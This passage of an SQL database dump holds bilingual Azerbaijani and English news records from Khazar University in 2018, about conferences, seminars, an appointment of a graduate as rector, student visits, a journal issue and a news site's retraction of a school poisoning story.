\"History of Azerbaijan\" instructed by Khagan Balayev...','<p>On\r\n May 25, 2018, in the lesson of \"History of Azerbaijan\" instructed by \r\nKhagan Balayev, the instructor of the Department of History and \r\nArchaeology of Khazar University, students of the group C of the School \r\nof Education made a presentation about the ADR on the occasion of the \r\nanniversary of the ADR. The presentations included slides about state \r\nfigures of the ADR. The students made interesting presentations on the \r\nfollowing persons: Aysel Gojayeva – M.A.Rasulzadeh, Fidan Zeynalova – \r\nF.Kh.Khoyski, Tarana Mansurova – A.Topchubashov, Seyran Mammadova – Y. \r\nChamanzaminli, Zeynal Suleymanli – S.Mehmandarov.</p>'),(5682,3264,'az','Xəzər Universitetinin əməkdaşları “100-cü ilində Azərbaycan Cümhuriyyəti” adlı beynəlxalq konqresdə','2018-ci il mayın 26-sı və 27-də Xəzər Universitetinin Azərbaycan dili və ədəbiyyatı departamentinin...','<p>2018-ci\r\n il mayın 26-sı və 27-də Xəzər Universitetinin Azərbaycan dili və \r\nədəbiyyatı departamentinin dosentləri Vurğun Əyyub, Elza Səmədli və \r\nQətibə Mahmudova Əskişəhər Azərbaycanlılar Dərnəyi və Anadolu \r\nUniversiteti Türk Dünyası Tətbiq və Araşdırma Mərkəzinin (TÜDAM) \r\nAzərbaycan Xalq Cümhuriyyətinin qurulmasının 100-cü ildönümü \r\nmünasibətilə hazırladığı “100-cü ilində Azərbaycan Cümhuriyyəti” adlı \r\nbeynəlxalq konqresdə iştirak etdilər (Dosent Vurğun Əyyub və dosent \r\nElza Səmədli həm də konqresin Bilim Kurunun üzvləri idilər). Vurğun \r\nƏyyubun “Cümhuriyyət yazarlarımızdan Hüseyn Cavidin yaradıcılığı və \r\n“Sərvəti-Fünun”, Elza Səmədlinin “Cümhuriyyət dövrü aydınlarından Üzeyir\r\n Hacıbəyli və Qori Seminariyasına tənqidləri”, Qətibə Mahmudovanın \r\n“Türkiyə ədəbiyyatında Azərbaycan Demokratik Cümhuriyyəti: Bir əsər \r\nüzərində tədqiqat” adlı məruzələri dinləyicilər tərəfindən maraqla \r\nqarşılanmışdır. </p><p>Mayın 28-də Xəzər Universitetinin təmsilçiləri \r\nAnkarada Azərbaycan Cümhuriyyətinin qurucusu M.Ə.Rəsulzadənin və Mustafa\r\n Kamal Atatürkün məzarlarını ziyarət etdilər.</p>'),(5683,3264,'en','Associates of Khazar University at the international congress “The Azerbaijan Democratic Republic in 100th anniversary”','On May 26-27, 2018, Vurghun Ayyub, Elza Samadli and Gatiba Mahmudova...','<p>On\r\n May 26-27, 2018, Vurghun Ayyub, Elza Samadli and Gatiba Mahmudova –   \r\nAssociate Professors of the Department of Azerbaijani Language and \r\nLiterature of Khazar University, participated in the international \r\nCongress “The Azerbaijan Democratic Republic in its 100<sup>th</sup> anniversary”, \r\njointly organized by Association of Azerbaijanis of Eskishehir and \r\nTurkish World Center for Application and Research at Anadolu University,\r\n on the occasion of 100<sup>th</sup> anniversary of The Azerbaijan Democratic \r\nRepublic. At the same time, Vurghun Ayyub and Elza Samadli were the \r\nmembers of Science Committee of the Congress. Associates of the \r\nUniversity made reports on the following reports: Vurghun Ayyub – \r\n“Huseyn Javid’s Creativity and “Sarvati-Funun”; Elza Samadli – “Uzeyir \r\nHajibayli, one of the intellectuals of the Democratic Republic, and his \r\ncritics on Gori Seminary”; Gatiba Mahmudova – “The Azerbaijan Democratic\r\n Republic in the Turkish literature: a research on a work”. </p><p>On May 28, associates of Khazar University visited M.A.Rasulzadeh’s and Mustafa Kamal Ataturk’s graves in Ankara.</p>'),(5684,3265,'az','Xəzər Universitetində 1-ci “Tək sağlamlıq: problemlər və onların həlli” mövzusunda beynəlxalq konfrans işə başladı','2018-ci il iyunun 1-də Xəzər Universitetinin Mərmər salonunda 1-ci “Tək sağlamlıq...','<p>2018-ci\r\n il iyunun 1-də Xəzər Universitetinin Mərmər salonunda 1-ci “Tək \r\nsağlamlıq: problemlər və onların həlli” mövzusunda beynəlxalq konfrans \r\nişə başladı. </p><p>Qeyd edək ki, konfrans haqqında hələ mayın 15-də Tək\r\n Sağlamlıq Komissiyasının (<em>One Health Commission</em>) media resurslarında  \r\nxəbər yaymlanmışdı\r\n(<a href=\"http://myemail.constantcontact.com/One-Health-Happenings-News-Notes--May-2018.html?soid=1121110857318&amp;aid=nGDIr9fIgws\">http://myemail.constantcontact.com/One-Health-Happenings-News-Notes--May-2018.html?soid=1121110857318&amp;aid=nGDIr9fIgws</a>.</p><p>Məşhur universitetlərin, o cümlədən Xəzər Universitetinin də  \r\ndaxil olduğu Harvard Universitetinin Planetar Sağlamlıq İttifaqı \r\n(Planetary Health Alliance) isə Böyük Britaniyanın Edinburq \r\nUniversitetində eyni vaxtda təşkil edəcəyi illik konfransını \r\n“Tərəfdaşlıq tədbiri” kimi elan etmişdi \r\n(<a href=\"https://planetaryhealthannualmeeting.org/satellite-meetings/\">https://planetaryhealthannualmeeting.org/satellite-meetings/</a>). Bu \r\nittifaq məşhur Rokfeller Fondu tərəfindən maliyyələşdirilən və dünyanın \r\n95-dən çox universitet, dövlət təşkilatları və tədqiqat institutlarının \r\ndaxil olduğu bir alyansdır.  </p><p>Beynəlxalq konfransda Azərbaycan, \r\nTürkiyə, Rusiya, İran, Gürcüstan, ABŞ, Kanada və İsveçrədən sahənin 30 \r\nnəfərdən artıq görkəmli mütəxəssisi iştirak edir. </p><p>Konfransı giriş\r\n sözü ilə Xəzər Universitetinin Elmi işlər üzrə prorektoru dosent İradə \r\nXəlilova açaraq, iştirakçıları salamladı və sözü universitetin \r\ntəsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet \r\nİsaxanlıya verdi. Professor Hamlet İsaxanlı çıxışında konfransda \r\nmüzakirə olunacaq mövzunun beynəlxalq əhəmiyyətindən danışdı, konfransa \r\nuğurlu iş arzuladı. </p><p>Sonra proqram üzrə məruzələrin dinlənilməsinə başlandı. İyunun 2-də də işini  davam etdirəcək konfransın bağlanış mərasimi həmin gün universitetin Mərmər salonunda olacaq. </p>'),(5685,3266,'en','Professor Hamlet Isakhanli Delivered a Speech at International Conference','The international conference “Plato’s Philosophy in Interdisciplinary Context...','<p>Professor Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, represented Azerbaijan at the international conference on “Plato’s Philosophy in Interdisciplinary Context” which was held on May 28-30, 2018. The conference was dedicated to the 100<sup>th</sup> Anniversary of Ivane Javakhishvili Tbilisi State University (TSU) and was organized by the Institute of Classical Byzantine and Modern Greek Studies. On the first day of the conference Prof. Isakhanli delivered his speech on “Platonic Unification of Mathematics and Poetics”.</p><p>The international conference was attended by participants from England, Ireland, USA, Canada, Brazil, Germany, France, Switzerland, Italy, Spain, Hungary, Greece, Turkey, Georgia, Armenia, Russia, India, China and Japan (21 countries).</p>'),(5686,3266,'az','Professor Hamlet İsaxanlı Beynəlxalq Konfransda çıxış etdi','2018-ci il mayın 28-dən 30-dək Tbilisi İvane Cavaxişvili Dövlət Universitetinin...','<p>2018-ci il mayın 28-dən 30-dək Tbilisi İvane Cavaxişvili Dövlət Universitetinin (TDU) 100 illik yubileyi münasibətilə Klassik Bizans və Müasir Yunanşünaslıq İnstitutunun təşkil etdiyi beynəlxalq konfransda Azərbaycanı Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı təmsil edirdi. Professor İsaxanlı konfransın ilk günündə “Platon fəlsəfəsində riyaziyyat və poeziyanın vəhdəti” (The Platonic Unification of Mathematics and Poetics) adlı mühazirə ilə çıxış etdi.</p><p>“<em>Fənlərarası konteksdə Platon fəlsəfəsi</em>” adlı beynəlxalq konfransda İngiltərə, İrlandiya, ABŞ, Kanada, Braziliya, Almaniya, Fransa, İsveçrə, İtaliya, İspaniya, Macarıstan, Yunanıstan, Türkiyə, Gürcüstan, Ermənistan, Rusiya, Hindistan, Çin və Yaponiya kimi ölkələrin (21 ölkə) nümayəndələri də iştirak edirdilər.</p>'),(5687,3267,'az','Professor Hamlet İsaxanlı Qafqaz Platon Cəmiyyətinin İdarə Heyətinə seçildi','2018-ci il mayın 28-dən 30-dək Klassik Bizans və Müasir Yunanşünaslıq İnstitutunun təşkilatçılığı...','<p>2018-ci il mayın 28-dən 30-dək Klassik Bizans və Müasir Yunanşünaslıq İnstitutunun təşkilatçılığı ilə Gürcüstanın Tbilisi İvane Cavaxişvili Dövlət Universitetinin (TDU) 100 illik yubileyinə həsr edilmiş “<em>Fənlərarası konteksdə Platon fəlsəfəsi</em>” adlı beynəlxalq konfransın son günündə Qafqaz Platon Cəmiyyətinin yaradılması qərarlaşdırılmışdır.</p><p>3 nəfərdən ibarət cəmiyyətin İdarə Heyətinə Azərbaycandan Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı seçilmişdir.</p>'),(5688,3267,'en','Professor Hamlet Isakhanli in the Board of Governors of Caucasus Plato Society','On the last day of the international conference “Plato’s Philosophy in Interdisciplinary Context...','<p>On the last day of the international conference “Plato’s Philosophy in Interdisciplinary Context”, held on 28-30 May, dedicated to the 100<sup>th</sup> Anniversary of Ivane Javakhishvili Tbilisi State University (TSU) and organized by the Institute of Classical Byzantine and Modern Greek Studies, it was decided to establish Caucasus Plato Society.</p><p>Professor Hamlet Isakhanli was elected from Azerbaijan as one of the three members of the Society’s Board of Governors.</p>'),(5689,3268,'en','Final Exams of the 2nd Semester at Khazar University – PHOTO SESSION','Final Exams of the 2nd Semester at Khazar University...',''),(5690,3268,'az','Xəzər Universitetində ikinci semestrin final imtahanları başlandı – FOTOSESSİYA','Xəzər Universitetində ikinci semestrin final imtahanları başlandı...',''),(5691,3269,'az','Xəzər Universiteti İranın Elm və Mədəniyyət Universiteti ilə əməkdaşlıq qurdu','2018-ci il mayın 29-da Xəzər Universitetinin rektoru Dr. Hassan Niknafs Elm və Mədəniyyət Universitetinin...','<p>2018-ci il mayın 29-da Xəzər Universitetinin rektoru Dr. Hassan Niknafs Elm və Mədəniyyət Universitetinin rektoru, Kök Hüceyrə Texnologiyası şirkətinin İcraçı direktoru Dr. S.Saeed Hashemi və İran İslam Respublikasının Azərbaycandakı səfirliyinin nəzdindəki Mədəniyyət Mərkəzinin direktoru Əsgər Farsi ilə görüş keçirdi. Görüşdə, həmçinin, Xəzər Universitetində doktorantura təhsili alan Mehdi Zakeri və Beynəlxalq əlaqələr şöbəsinin direkoru Turan Cəfərova da iştirak edirdilər.</p><p>Görüş zamanı tərəflər elmi tədqiqatlar sahəsində əməkdaşlıq imkanlarını müzakirə etdilər. Görüşdə iki universitet arasında Anlaşma Memorandumu imzalandı.</p>'),(5692,3269,'en','Khazar University Establishes Cooperation with the University of Science and Culture of Iran','On May 29, 2018, Dr. Hassan Niknafs, Rector of Khazar University met with...','<p>On May 29, 2018, Dr. Hassan Niknafs, Rector of Khazar University met with Dr. S. Saeed Hashemi, the president of the University of Science and Culture, Managing Director of the Stem Cell Technology CO, and Asgar Farsi, Director of the Cultural Center under the Embassy of the Islamic Republic of Iran in Azerbaijan. Participants of the meeting also included Mr. Mehdi Zakeri, a PhD student of Khazar University and Ms. Turan Jafarova, Director of the International Affairs Office.</p><p>During the meeting, parties discussed research collaboration and a Memorandum of Understanding between the two universities was signed.</p>'),(5693,3270,'az','“İrqçilik və ayrı-seçkiliyin psixologoyası” adlı seminar','2018-ci il mayın 31-də Psixologiya departamentinin koordinatoru və Xəzər Universiteti...','<p>2018-ci il mayın 31-də Psixologiya departamentinin koordinatoru və Xəzər Universiteti Psixoloji Xidmət Mərkəzinin direktoru Mələk Kərimova “İrqçilik və ayrı-seçkiliyin psixologoyası” adlı seminar keçirdi. Seminar İqtisadiyyat və menecment departamentinin və “THE SAME” komandasının koordinatoru Dr.Bahadır Baysalın təşkilatçılığı ilə Azərbaycan Dövlət Pedaqoji Universitetində keçirildi.</p><p>Seminarda aşağıdakı mövzular əhatə olundu: 1) İnsan psixologiyasında ayrı-seçkiliyin səbəbləri; 2) Məqsədə çatmaq üçün ayrı-seçkiliyin salınması; 3) İrqi nöqteyi-nəzərdən başqalarından üstün və yüksək mövqedə olmaq; 4) İqrçilik və özünü təsdiqetmə arasında əlaqəlilik; 5) Onlayn nifrət ismarışları vasitəsilə aqressiv davranışın səbəbləri.</p><p>Seminarın sonunda iştirakçılara sertifikat təqdim edildi.</p>'),(5694,3270,'en','Seminar on “Psychology of Racism and Discrimination”','On May 31, 2018, a seminar on “Psychology of racism and discrimination” was conducted...','<p>On May 31, 2018, a seminar on “Psychology of racism and discrimination” was conducted by Melek Kerimova, coordinator of the Department of Psychology and Director of the Psychological Service Center of Khazar University. The Seminar was held at Azerbaijan State Pedagogical University on organizational support by Dr. Bahadir Baysal, coordinator of the Department of Economics and Management, and “THE SAME” team.</p><p>The seminar covered the following topics: 1) Reasons for racism in human psychology; 2) Discrimination in order to achieve an aim; 3) Desire to be superior to others and be in a better position in terms of race; 4) Relationship between racism and self-realization; 5) Reasons for expressing aggression through online hate messages.</p><p>At the end of the seminar, all the participants were certified.</p>'),(5695,3271,'az','Xəzər Universitetinin məzunu İlahiyyat İnstitutuna rektor təyin olundu','Azərbaycan Respublikası Prezidenti İlham Əliyevin 31 may 2018-ci il tarixli sərəncamı...','<p>Azərbaycan Respublikası Prezidenti İlham Əliyevin&nbsp;31 may 2018-ci il tarixli sərəncamı ilə Xəzər Universitetinin magistratura məzunu Ceyhun Məmmədov yeni yaradılmış İlahiyyat İnstitutunun ilk rektoru təyin edilmişdir.</p><p>C.Məmmədov 1991-1994-cü illərdə Suriyanın Dəvət və İrşad institutunda, 1994-1998-ci illərdə Liviya Ərəb Sosialist Xalq Cəmahiriyyəsi Universitetində ərəb dili və dinşünaslıq üzrə bakalavr dərəcəsini bitirib. 2000-2002-ci illərdə isə Azərbaycanda Xəzər Universitetinin magistraturasında təhsil alıb.</p><p>C.Məmmədov ilahiyyat üzrə fəlsəfə doktorudur və Azərbaycan Dillər Universitetində dərs deyir. 1 kitab, 20 elmi məqalənin müəllifidir.</p><p>2001-2014-cü illərdə Dini Qurumlarla İş üzrə Dövlət Komitəsində müxtəlif şöbələrdə çalışıb. 2015-ci ildən rektor təyin olunanadək Prezident Administrasiyasının Millətlərarası münasibətlər, multikulturalizm və dini məsələlər şöbəsində böyük məsləhətçi vəzifəsini tutub.</p><p>Aşağıdakı linklərdən də əlavə məlumat almaq olar:</p><p><a href=\"http://qafqazinfo.az/news/detail/prezidentin-vezife-verdiyi-yeni-rektor-kimdir-220665\">http://qafqazinfo.az/news/detail/prezidentin-vezife-verdiyi-yeni-rektor-kimdir-220665</a></p><p><a href=\"http://tehsil-press.az/index.php?newsid=29943#Kalibri\">http://tehsil-press.az/index.php?newsid=29943#Kalibri</a></p>'),(5696,3271,'en','Khazar University graduate is appointed as Rector of Azerbaijan Institute of Theology','According to the Order, dated May 31, 2018, by Ilham Aliyev, the President of the Republic...','<p>According to the Order, dated May 31, 2018, by Ilham Aliyev, the President of the Republic of Azerbaijan, Jeyhun Mammadov has been appointed as Rector of the newly founded Azerbaijan Institute of Theology.</p><p>J.Mammadov studied in Dawat and Irshad Institute of Syria in 1991-1994. He also got a Bachelor’s degree in Arabic Language and Religious studies from Libyan Arab Socialist People\'s Jamahiriya University in 1994-1998. J.Mammadov studied at Khazar University in 2000-2002 for a Master’s degree.</p><p>J.Mammadov has a PhD degree in Theology and works as an instructor at Azerbaijan University of Languages. He is the author of one book and twenty scientific articles.</p><p>He worked in various departments at State Committee for Work with Religious Organizations of the Republic of Azerbaijan in 2001-2014. He also worked as a senior advisor at the Department of International Relations, Multiculturalism and Religious Affairs of the Presidential Administration.</p><p>Links for further information:</p>  <p><a href=\"http://qafqazinfo.az/news/detail/prezidentin-vezife-verdiyi-yeni-rektor-kimdir-220665\">http://qafqazinfo.az/news/detail/prezidentin-vezife-verdiyi-yeni-rektor-kimdir-220665</a></p><p><a href=\"http://tehsil-press.az/index.php?newsid=29943#Kalibri\">http://tehsil-press.az/index.php?newsid=29943#Kalibri</a></p>'),(5917,3385,'az','Unikal.org \"Dünya\" məktəbindəki zəhərlənmə ilə bağlı yaydığı xəbəri təkzib etdi','Təkzibin mətnində yazılmışdır: “23.04.18 tarixində saytımızda \"Dünya məktəbində...','<p>Təkzibin mətnində yazılmışdır: “23.04.18 tarixində saytımızda \"Dünya<em> məktəbində kütləvi zəhərlənmə: 50 şagird, 4 müəllim</em>” başlığı altında yazı dərc olunmuşdur.</p><p>Sözügedən yazı Xəzər Universitetinin \"Dünya\" məktəbinin kollektivini narahat etdiyi üçün <em>Unikal.org</em> saytı olaraq həmin məktəbin müəllim və şagird heyətindən üzrxahlıq edirik. Təhsil müəssisəsi xəbərlə bağlı saytımıza təkzib məlumatı ünvanlayıb. Məlumatda qeyd edilir:</p><p>“Diqqətinizə çatdırırıq ki, \"Dünya\" Məktəbində hər-hansı kütləvi zəhərlənmə halı baş verməmişdir. 26.04.2018 tarixində Azərbaycan Respublikası Səhiyyə Nazirliyi Binəqədi Rayon Gigiyena və Epidemiologiya Mərkəzi tərəfindən aparılan müayinələrin nəticələri də bunu bir daha təsdiq edir.</p><p>50 nəfər şagirdin dərsə gəlməməyinə gəlincə isə, nəzərə alınmalıdır ki, “Dünya” məktəbində 70 sinif var və müəyyən səbəblərdən ən azı hər sinifdən 1 şagirdin dərsə gəlməməsi normal sayıla bilər.</p><p>Azərbaycan Respublikası Səhiyyə Nazirliyi Binəqədi Rayon Gigiyena və Epidemiologiya Mərkəzi tərəfindən aparılan müayinələrin nəticələrini sənəd olaraq yazıya əlavə edirik və sayt rəhbərliyindən KİV haqqında müvafiq qanunvericiliyə uyğun olaraq qeyd olunan yazı (“Dünya məktəbində kütləvi zəhərlənmə: 50 şagird, 4 müəllim”) ilə bağlı bizim təkzibimizi saytınızda dərc etməyinizi xahiş edirik.”</p><p>Təkzib xəbərini bu linkdə oxumaq olar:</p><p><a href=\"http://www.unikal.org/w188927.html\">http://www.unikal.org/w188927.html</a></p>'),(5697,3265,'en','1st International Conference on “One Health: Problems and Solutions” starts at Khazar University','On June 1, 2018, 1st International Conference “One Health: Problems and Solutions” started in...','<p>On June 1, 2018, 1<sup>st</sup> International Conference “<em>One Health: Problems and Solutions</em>” started in “Marble” hall at Khazar University. The media resources of One Health Commission posted news on the conference on May 15 (<a href=\"http://myemail.constantcontact.com/One-Health-Happenings-News-Notes--May-2018.html?soid=1121110857318&amp;aid=nGDIr9fIgws\">http://myemail.constantcontact.com/One-Health-Happenings-News-Notes--May-2018.html?soid=1121110857318&amp;aid=nGDIr9fIgws</a>).</p>\r\n<p>Planetary Health Alliance of Harvard University, which includes Khazar University and other well-known universities, announced its annual conference as “Partnership event” which is to be held at the same time at University of Edinburgh, UK (<a href=\"https://planetaryhealthannualmeeting.org/satellite-meetings/\">https://planetaryhealthannualmeeting.org/satellite-meetings/</a>).</p><p>This Alliance is financed by The Rockefeller Foundation and includes more than 95 universities, state organisations and research institutions.</p><p>More than 30 experts from Azerbaijan, Turkey, Russia, Iran, Georgia, USA, Canada and Switzerland are participating in the conference.</p><p>Assoc.Prof. Irada Khalilova, Vice-rector for Research of Khazar University, delivered an opening speech and gave the floor to Prof. Hamlet Isakhanli, the founder of Khazar University, and Chairman of its Board of Directors and Trustees. In his speech, Prof. Hamlet Isakhanli stressed the international importance of the conference and wished success to participants.</p><p>Then report deliveries started according to the conference program. The conference will continue on June 2 and will end on the same day. The closing ceremony will be held in “Marble” hall.</p>'),(5700,3255,'en','New Issue of Khazar Journal of Humanities and Social Sciences Published','The new issue of Khazar Journal of Humanities and Social Sciences','<p>The new issue of Khazar Journal of Humanities and Social Sciences (Vol 21, № 2, 2018), has been published by Khazar University Press.</p><p>Issues that were touched upon in this issue include the reforming Georgian education/ recommendations for using classroom assessment; EFL students’ perceptions of teacher feedback and intra-feedback in writing essays; 9-11 year old students’ perception of violence reflected in their drawings; energy strategy development of Azerbaijan, Turkmenistan and Uzbekistan; forms of stating the right to freedom of association in International Regulatory Acts and the features of the modern concept of separation of powers as an element of Constitutionalism.</p><p>The Journal is published four times a year in English.</p><p>The open-access electronic version of the journal can be found at:</p><p><a href=\"www.jhss-khazar.org\">www.jhss-khazar.org</a></p>'),(5698,3272,'az','Niyal Hazırlıq kurslarının müəllimləri və şagirdləri Xəzər Universitetində oldular','2018-ci il mayın 30-da İsmayıllıda yerləşən Niyal Hazırlıq kurslarının...','<p>2018-ci il mayın 30-da İsmayıllıda yerləşən Niyal Hazırlıq kurslarının X və XI sinif şagirdləri Xəzər Universitetində oldular. Öncə toplantı salonunda universitet rəhbərliyi ilə şagirdlərin və onların müəllimlərinin görüşü oldu. Görüşü İctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəyli açaraq, salondakıları salamladı və universitetin&nbsp;İsmayıllının Niyal hazırlıq Mərkəzi ilə olan əlaqələrindən danışdı. Universitetin Akademik İşlər üzrə prorektoru Məhəmməd Nuriyev, Humanitar və sosial elmlər fakültəsinin dekanı Cabir Xəlilov, İqtisadiyyat və menecment fakültəsinin dekanı Ceyhun Məmmədov, Mühəndislik və tətbiqi elmlər fakültəsinin dekan müavini Fəxrəndə Əlimərdanova, İngilis dili departamentinin koordinatoru Milana Abbasova, Psixologiya departamentinin koordinatoru Mələk Kərimova və digər əməkdaşlar Xəzər Universitetinin ixtisasları haqqında geniş məlumat verdilər. Sonra İsmayıllıdan gələn qonaqlar professor Fuat Rəsulovun rəhbərliyi altında Xəzər Universitetindəki laboratoriyalar, sinif otaqları, kitabxanalar, institutlarla tanış oldular, universitetin şəhər mərkəzindəki (Bəşir Səfəroğlu küç.122) kampusunu və “Dünya” məktəbini ziyarət etdilər. Qonaqlar günorta yeməyindən sonra Bakı şəhərinin görməli yerləri ilə tanış oldular.</p><p>Xatirə şəkilləri çəkildikdən sonra müəllim və tələbələr&nbsp;Xəzər Universitetinə məxsus avtobusla yenidən İsmayıllıya yola düşdülər.</p><p>Xəzər Universitetinin bu təşəbbüsündən sonra&nbsp;Niyal Hazırlıq kurslarının rəhbəri Həsən Rəhimov universitetə təşəkkür məktubu göndərmişdir.</p>'),(5699,3272,'en','Teachers and students of Niyal Tutoring centre visit Khazar University','On May 30, 2018, students of X and XI grades of Niyal Tutoring centre, located in Ismayilli...','<p>On May 30, 2018, students of X and XI grades of Niyal Tutoring centre, located in Ismayilli, visited Khazar University. Firstly, teachers and students met with University administration in the meeting hall. Alovsat Amirbeyli, Director for Public Relations and Media, opened the meeting and talked about the relations between the University and Niyal Tutoring centre. Mahammad Nuriyev, Vice-rector for Academic Affairs, Jabir Khalilov, Dean of the School of Humanities and Social Sciences, Jeyhun Mammadov, Dean of the School of Economics and Management, Fakhranda Alimardanova, Vice-dean of the School of Engineering and Applied Sciences, Milana Abbasova, Programs Coordinator at the Department of English Language, Malak Karimova, Coordinator of the Department of Psychology, and other associates of the University informed the guests about specialties offered by Khazar University. Then under Prof. Fuat Rasulov’s guidance, the guests became acquainted with laboratories, classrooms, libraries and visited the University campus in the city center and “Dunya” school. After dinner, the guests went sightseeing in Baku and had memory photos taken.</p><p>The guests went back to Ismayilli by Khazar University bus. Hasan Rahimov, Head of Niyal Tutoring centre, sent a letter of gratitude to Khazar University.</p>'),(5916,3384,'en','Interview with the rector of the Institute of Theology','On August 6, paralel.az web site released the interview with Jeyhun Mammadov...','<p>On August 6, <em>paralel.a</em>z web site released the interview with Jeyhun Mammadov, Master graduate of Khazar University, rector of &nbsp;the Institute of Theology.&nbsp;</p><p>In the interview, the rector provided detailed information on &nbsp;the educational conditions, financial features of the newly established institute, subjects to be taught and other important issues.&nbsp;</p><p>The interview is available at:</p><p><a href=\"https://paralel.az/article/az/63612-%C4%B0lahiyyat+%C4%B0nstitutunun+rektoru%3A+%E2%80%9CAteizm+v%C9%99+onun+tarixi+ciddi+%C3%B6yr%C9%99nilm%C9%99lidir%E2%80%9D+-+M%C3%9CSAH%C4%B0B%C6%8F%2BV%C4%B0DEO.html#Kalibri\">https://paralel.az/article/az/63612-%C4%B0lahiyyat+%C4%B0nstitutunun+rektoru%3A+%E2%80%9CAteizm+v%C9%99+onun+tarixi+ciddi+%C3%B6yr%C9%99nilm%C9%99lidir%E2%80%9D+-+M%C3%9CSAH%C4%B0B%C6%8F%2BV%C4%B0DEO.html#Kalibri</a></p>'),(5915,3384,'az','İlahiyyat İnstitutu rektorunun paralel.az-a müsahibəsi','2018-ci il avqustun 6-da paralel.az saytı Xəzər Universitetinin magistratura məzunu...','<p>2018-ci il avqustun 6-da <em>paralel.az</em>&nbsp;saytı Xəzər Universitetinin magistratura məzunu, İlahiyyat İnstitutunun rektoru Ceyhun Məmmədovla geniş müsahibə dərc etmişdir. Müsahibədə rektor yeni yaradılmış institutun təhsil şəraiti və maddi cəhətləri, tədris olunacaq fənlər və s. haqqında geniş məlumat vermişdir.&nbsp;</p><p>Müsahibəni bu linkdə oxumaq olar:</p><p><a href=\"https://paralel.az/article/az/63612-%C4%B0lahiyyat+%C4%B0nstitutunun+rektoru%3A+%E2%80%9CAteizm+v%C9%99+onun+tarixi+ciddi+%C3%B6yr%C9%99nilm%C9%99lidir%E2%80%9D+-+M%C3%9CSAH%C4%B0B%C6%8F%2BV%C4%B0DEO.html#Kalibri\">https://paralel.az/article/az/63612-%C4%B0lahiyyat+%C4%B0nstitutunun+rektoru%3A+%E2%80%9CAteizm+v%C9%99+onun+tarixi+ciddi+%C3%B6yr%C9%99nilm%C9%99lidir%E2%80%9D+-+M%C3%9CSAH%C4%B0B%C6%8F%2BV%C4%B0DEO.html#Kalibri</a></p>'),(5705,3275,'az','“Kaspi” qəzetinin internet səhifəsində Xəzər Universitetinin məzunu ilə müsahibə dərc olunmuşdur','2018-ci il iyunun 1-də gündəlik ictimai-siyasi nəşr olan “Kaspi” qəzetinin internet...','<p>2018-ci il iyunun 1-də gündəlik ictimai-siyasi nəşr olan “Kaspi” qəzetinin internet səhifəsində Xəzər Universitetinin məzunu, ADA Universitetinin İctimai və Beynəlxalq Münasibətlər İnstitutunun baş müəllimi Rəşad İbadovla “Uğur hekayəsi” rubrikasında “Uğuru şəxsi keyfiyyətlər və qazandığın nailiyyətlər gətirir” sərlövhəli müsahibə dərc olunmuşdur. Müsahibənin müəllifi Aygün Əzizdir.</p><p>Müsahibəni bu linkdə oxumaq olar:</p><p><a href=\"http://kaspi.az/az/uuru-sexsi-keyfiyyetler-ve-qazandiin-nailiyyetler-getirir-uur-hekayesi/#Kalibri\">http://kaspi.az/az/uuru-sexsi-keyfiyyetler-ve-qazandiin-nailiyyetler-getirir-uur-hekayesi/#Kalibri</a></p>'),(5912,3380,'en','Registration of the abiturients admitted to Khazar University continues','Registration, which started on the Neftchilar campus on 16 August, of the abiturients admitted...','<p>Registration, which started on the Neftchilar campus on 16 August, of the abiturients admitted to Khazar University, based on the results of exams conducted by the State Examination Center of the Republic of Azerbaijan, continues.  </p><p>The registration process will last until August 28.&nbsp;</p>'),(5913,3383,'az','PETRA layihəsi çərçivəsində Sumqayıt Dövlət Universitetində təlim','2018-ci il iyulun 29-da Xəzər Universiteti İnkişaf mərkəzinin layihə meneceri...','<p>2018-ci il iyulun 29-da Xəzər Universiteti İnkişaf mərkəzinin layihə meneceri Ülkər Bayramova PETRA layihəsi çərçivəsində Sumqayıt Dövlət Universitetində “Ali təhsil müəssisələrində elektron təhsil” mövzusunda təlim keçirmişdir. Tədbirdə universitetin Beynəlxalq əməkdaşlıq və İnformasiya texnologiyaları şöbələrinin əməkdaşları və müxtəlif kafedraların müəllimləri iştirak etmişlər. Təlim zamanı elektron təhsil və onun imkanları, ali təhsil müəssisələrində tətbiqi və onun tətbiqinin tələbə effektivliyinə təsiri haqqında geniş məlumat verilmişdir.&nbsp;</p><p>Verilən məlumatları maraqla dinləyən iştirakçılar tərəfindən &nbsp;təlimçiyə çoxlu suallar verilmiş və mövzu ətrafında diskussiyalar aparılmışdır.&nbsp;</p>'),(5914,3383,'en','Training at Sumgayit State University within PETRA project','On July 29, 2018, Ulkar Bayramova, a project manager of Khazar University Development...','<p>On July 29, 2018, Ulkar Bayramova, a project manager of Khazar University Development Center, conducted a training session on \"Electronic Education in Higher Educational Institutions\", within PETRA project, at Sumgayit State University. The event was attended by the empoyees of the departments of International Cooperation and Information Technologies, and instructors of various departments. During the training, the trainees were provided with detailed information on electronic education and its possibilities, its application in higher educational institutions and impact on student effectiveness.&nbsp;</p><p>The participants, who listened attentively to the trainer, asked many questions and the session was folowed by discussions around the topic.</p>'),(5706,3275,'en','Website of “Kaspi” newspaper posts an interview with a Khazar University graduate ','On June 1, 2018, the website of “Kaspi” newspaper, a daily public and political publication...','<p>On June 1, 2018, the website of “Kaspi” newspaper, a daily public and political publication, posted an interview with headline “Personal features and achievements lead to success” which was given by Rashad Ibadov, a Khazar University graduate and head instructor at Institute of Public and International Relations of ADA University. The interview was taken by Aygun Aziz and posted in the rubric “Success Story”.&nbsp;</p><p>The interview is available at:</p><p><a href=\"http://kaspi.az/az/uuru-sexsi-keyfiyyetler-ve-qazandiin-nailiyyetler-getirir-uur-hekayesi/#Kalibri\">http://kaspi.az/az/uuru-sexsi-keyfiyyetler-ve-qazandiin-nailiyyetler-getirir-uur-hekayesi/#Kalibri</a></p>'),(5707,3276,'az','Avropa Parlamentinin simulyasiyası','2018-ci il mayın 30-da “Peer to Peer: Facebook Global Digital Challenge” layihəsi çərçivəsində...','<p>2018-ci il mayın 30-da “Peer to Peer: Facebook Global Digital Challenge” layihəsi çərçivəsində İqtisadiyyat və menecment departamentinin koordinatoru Dr. Bahadır Baysal və Xəzər Universitetinin “THE SAME” komandasının təşkilatçılığı ilə Avropa Parlamentinin simulyasiyası keçirilmişdir. Simulyasiya oyununun əvvəlində 